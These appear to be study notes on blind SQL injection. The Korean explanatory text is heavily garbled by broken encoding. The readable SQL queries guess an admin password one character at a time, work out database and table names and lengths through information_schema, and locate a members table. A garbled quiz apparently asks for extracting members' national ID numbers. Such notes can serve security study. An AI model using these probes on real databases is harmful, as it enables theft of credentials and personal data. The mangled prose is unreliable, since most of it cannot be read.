Blind Injection
content Based
Response Based
์์ฐจ ํ์
์ด์ง ํ์
Bit ์ฐ์ฐ ํ์
SELECT substr((SELECT password FROM board.members WHERE id='admin'),1,1)='a';
SELECT substr((SELECT password FROM board.members WHERE id='admin'),1,1)='@';
Blind Injection ๊ณต๊ฒฉ์ ํต์ฌ์ ์ฐธ/๊ฑฐ์ง์ ํ๋ณํ์ฌ ์๋ต๊ฐ์ ๋ฐ๋ ๊ฒ
๋ฉํ๋ฐ์ดํฐ ๋งคํ
< ์์ฐจ ์ ๊ทผ >
DB์ด๋ฆ ๋ชฉ๋กํ
Table ์ด๋ฆ ๋ชฉ๋กํ
Column ์ด๋ฆ์ ๋ชฉ๋กํ
< ๋น์์ฐจ ์ ๊ทผ >
๊ฐ๋ฐ์ ์
์ฅ์์ ๋ชฉ๋ก๋ค์ ์ ์ถํด์ผํ๋ค
SELECT table_name FROM information_schema.tables WHERE schema_name='board' and table_name like '%mem%'
SELECT column_name FROM information_schema.columns WHERE table_schema='board' and table_name='members' and column_name like '%id%';
๋ธ๋ผ์ธ๋ ๋ฉํ๋ฐ์ดํฐ ๋ชฉ๋กํ
1. ๊ธฐ๋ณธ์ ๋ณด ๋ชฉ๋กํ๋ฅผ ํตํด์ ๋ฐ๋์ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ด๋ฆ์ ์์๋ธ๋ค.
1-1. ๊ธ์ ์๋ฅผ ์ ์ถํ๋ค : length()ํจ์// ๊ฒฐ๊ณผ๋ฌผ 5๊ธ์
SELECT length((SELECT database()))=1;
1-2.
SELECT substr((SELECT database()),1,1)='a';
1-2. ํ๊ธ์์ฉ ๋น๊ตํ์ฌ 0(๊ฑฐ์ง)์ด ์๋ 1(์ฐธ)์ ๊ฐ์ ์ฐพ๋๋ค : ์ฌ์ฉํจ์ mid(),substr() // ๊ฒฐ๊ณผ๋ฌผ board
2. ์์๋ธ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ด๋ฆ์ ๊ฐ์ง๊ณ ํ
์ด๋ธ ์ด๋ฆ์ ์ ์ถํ๋ค.
2-1. ํ
์ด๋ธ์ ๊ฐ์๋ฅผ ํ์
ํ๋ค : ์ฌ์ฉํจ์ count(*) // ๊ฒฐ๊ณผ 2๊ฐ
SELECT (SELECT count(*) FROM information_schema.tables WHERE table_schema='board')=1;
SELECT (SELECT count(*) FROM information_schema.tables WHERE table_schema='board' and table_name like '%mem%')=1;
2-2. ๊ธ์์๋ฅผ ์ ์ถํ๋ค : ์ฌ์ฉํจ์ length() // ๊ฒฐ๊ณผ 7๊ธ์
SELECT length((SELECT table_name FROM information_schema.tables WHERE table_schema='board' and table_name like '%mem%'))=1;
2-3. ํ์ ํ
์ด๋ธ์ ์ ์ถํ์ฌ '%mem%'์ ์ฌ์ฉ :
QUIZ ) ํ์๋ค์ ์ฃผ๋ฏผ๋ฑ๋ก๋ฒํธ ์์ ๋์๋ฆฌ๋ฅผ ์ ์ถํด๋ผ
SELECT password FROM members WHERE id='admin'
โ SELECT (์ปฌ๋ผ) โก FROM (ํ
์ด๋ธ) โข WHERE (์กฐ๊ฑด)
์คํ ์์ : โก > โข > โ
3. ์ ์ถํ ํ
์ด๋ธ ์ด๋ฆ์ ๊ฐ์ง๊ณ ์ฐพ๊ณ ์ถ์ ์ปฌ๋ผ๋ง ์ ์ถํด์ ์ฐพ์๋ธ๋ค.